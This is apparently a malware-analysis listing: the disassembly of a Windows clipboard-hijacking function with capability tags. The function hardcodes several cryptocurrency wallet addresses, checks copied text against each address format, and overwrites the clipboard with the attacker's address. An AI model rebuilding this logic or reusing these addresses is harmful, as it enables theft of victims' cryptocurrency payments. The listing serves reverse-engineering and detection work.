Function at 0x140003590
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140013020]
xor rax, rsp
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov ecx, 0x30
call fcn.14000c560
mov r14, rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x78], 0x2a
mov qword [rbp - 0x80], 0x2f
movups xmm0, xmmword [str.bc1qre5et563wn6szq2ykshzktt2nkvm3fh4cwe4ra]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e888]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000e898]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14000e8a0]
mov word [r14 + 0x28], ax
mov byte [r14 + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov ecx, 0x30
call fcn.14000c560
mov rsi, rax
mov qword [rbp - 0x78], rax
mov qword [rbp - 0x68], 0x2a
mov qword [rbp - 0x60], 0x2f
movups xmm0, xmmword [str.0xc2c1150e3216Cdc8Ce17e161769208ca66Db414a]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e8b8]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000e8c8]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14000e8d0]
mov word [rsi + 0x28], ax
mov byte [rsi + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], 6
mov qword [rsp + 0x60], 0xf
mov r12d, dword [str.monero]
mov dword [rsp + 0x48], r12d
movzx eax, word [0x14000e8d8]
mov word [rsp + 0x20], ax
mov word [rsp + 0x4c], ax
mov byte [rsp + 0x4e], 0
movups xmmword [rbp - 0x58], xmm0
mov ecx, 0x30
call fcn.14000c560
mov rdi, rax
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], 0x2a
mov qword [rbp - 0x40], 0x2f
movups xmm0, xmmword [str.bnb18jqmxql5ky3uxp32f4v4jnfyetsd9wzyh0u53m]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e8f0]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000e900]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14000e908]
mov word [rdi + 0x28], ax
mov byte [rdi + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov ecx, 0x30
call fcn.14000c560
mov rbx, rax
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x28], 0x2a
mov qword [rbp - 0x20], 0x2f
movups xmm0, xmmword [str.qrwdss6muq2lvjql39n6alerjj4lftaqayzvak7gfe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e920]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x14000e930]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x14000e938]
mov word [rbx + 0x28], ax
mov byte [rbx + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov ecx, 0x30
call fcn.14000c560
mov r13, rax
mov qword [rbp - 0x18], rax
mov qword [rbp - 8], 0x22
mov qword [rbp], 0x2f
movups xmm0, xmmword [str.LcVQBPucuExnhxGPTThmuLGUc6gjsPWnTr]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14000e950]
movups xmmword [rax + 0x10], xmm1
movzx eax, word [0x14000e960]
mov word [r13 + 0x20], ax
mov byte [r13 + 0x22], 0
lea rcx, [rsp + 0x28]
call fcn.1400034b0
nop
cmp qword [rsp + 0x38], 0
je 0x140003bbd
lea rcx, [rsp + 0x28]
call fcn.140002490
test al, al
je 0x140003879
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x2a
jne 0x140003803
mov rdx, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003879
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140003bbd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x2b
lea ecx, [rdx - 0x29]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x140003bb6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x140003bb6
movups xmm0, xmmword [r14]
movups xmmword [rax], xmm0
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [r14 + 0x20]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [r14 + 0x28]
mov word [rax + 0x28], cx
movzx eax, byte [r14 + 0x2a]
mov byte [rdx + 0x2a], al
jmp 0x140003b9f
lea rcx, [rsp + 0x28]
call fcn.140002740
test al, al
je 0x140003924
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x2a
jne 0x1400038b3
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003924
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140003bbd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x2b
lea ecx, [rdx - 0x29]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x140003bb6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x140003bb6
movups xmm0, xmmword [rsi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rsi + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rsi + 0x20]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [rsi + 0x28]
mov word [rax + 0x28], cx
movzx eax, byte [rsi + 0x2a]
mov byte [rdx + 0x2a], al
jmp 0x140003b9f
lea rcx, [rsp + 0x28]
call fcn.1400029f0
test al, al
je 0x1400039b7
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 6
jne 0x140003960
lea rdx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400039b7
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140003bbd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 7
lea ecx, [rdx - 5]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x140003bb6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x140003bb6
mov dword [rax], r12d
movzx ecx, word [rsp + 0x20]
mov word [rax + 4], cx
mov byte [rax + 6], 0
jmp 0x140003b9f
lea rcx, [rsp + 0x28]
call fcn.140002ca0
test al, al
je 0x140003a62
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x2a
jne 0x1400039f1
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003a62
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140003bbd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x2b
lea ecx, [rdx - 0x29]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x140003bb6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x140003bb6
movups xmm0, xmmword [rdi]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rdi + 0x20]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [rdi + 0x28]
mov word [rax + 0x28], cx
movzx eax, byte [rdi + 0x2a]
mov byte [rdx + 0x2a], al
jmp 0x140003b9f
lea rcx, [rsp + 0x28]
call fcn.140002f50
test al, al
je 0x140003b0d
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x2a
jne 0x140003a9c
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003b0d
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140003bbd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x2b
lea ecx, [rdx - 0x29]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x140003bb6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov rdx, rax
test rax, rax
je 0x140003bb6
movups xmm0, xmmword [rbx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [rbx + 0x20]
movsd qword [rax + 0x20], xmm0
movzx ecx, word [rbx + 0x28]
mov word [rax + 0x28], cx
movzx eax, byte [rbx + 0x2a]
mov byte [rdx + 0x2a], al
jmp 0x140003b9f
lea rcx, [rsp + 0x28]
call fcn.140003200
test al, al
je 0x140003bbd
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rcx, qword [rsp + 0x28]
mov r8, qword [rsp + 0x38]
cmp r8, 0x22
jne 0x140003b47
mov rdx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140003bbd
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140003bbd
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, 0x23
lea ecx, [rdx - 0x21]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r15, rax
test rax, rax
je 0x140003bb6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x140003bb6
movups xmm0, xmmword [r13]
movups xmmword [rax], xmm0
movups xmm1, xmmword [r13 + 0x10]
movups xmmword [rax + 0x10], xmm1
movzx ecx, word [r13 + 0x20]
mov word [rax + 0x20], cx
movzx ecx, byte [r13 + 0x22]
mov byte [rax + 0x22], cl
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rdx, r15
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 0x10
jb 0x140003bfd
inc rdx
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bf8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003bf8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000c59c
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0xf
mov byte [rsp + 0x28], 0
mov edx, 0x30
mov rcx, r13
call fcn.14000c59c
nop
mov edx, 0x30
mov rcx, rbx
call fcn.14000c59c
nop
mov edx, 0x30
mov rcx, rdi
call fcn.14000c59c
nop
mov edx, 0x30
mov rcx, rsi
call fcn.14000c59c
nop
mov edx, 0x30
mov rcx, r14
call fcn.14000c59c
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.14000c540
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret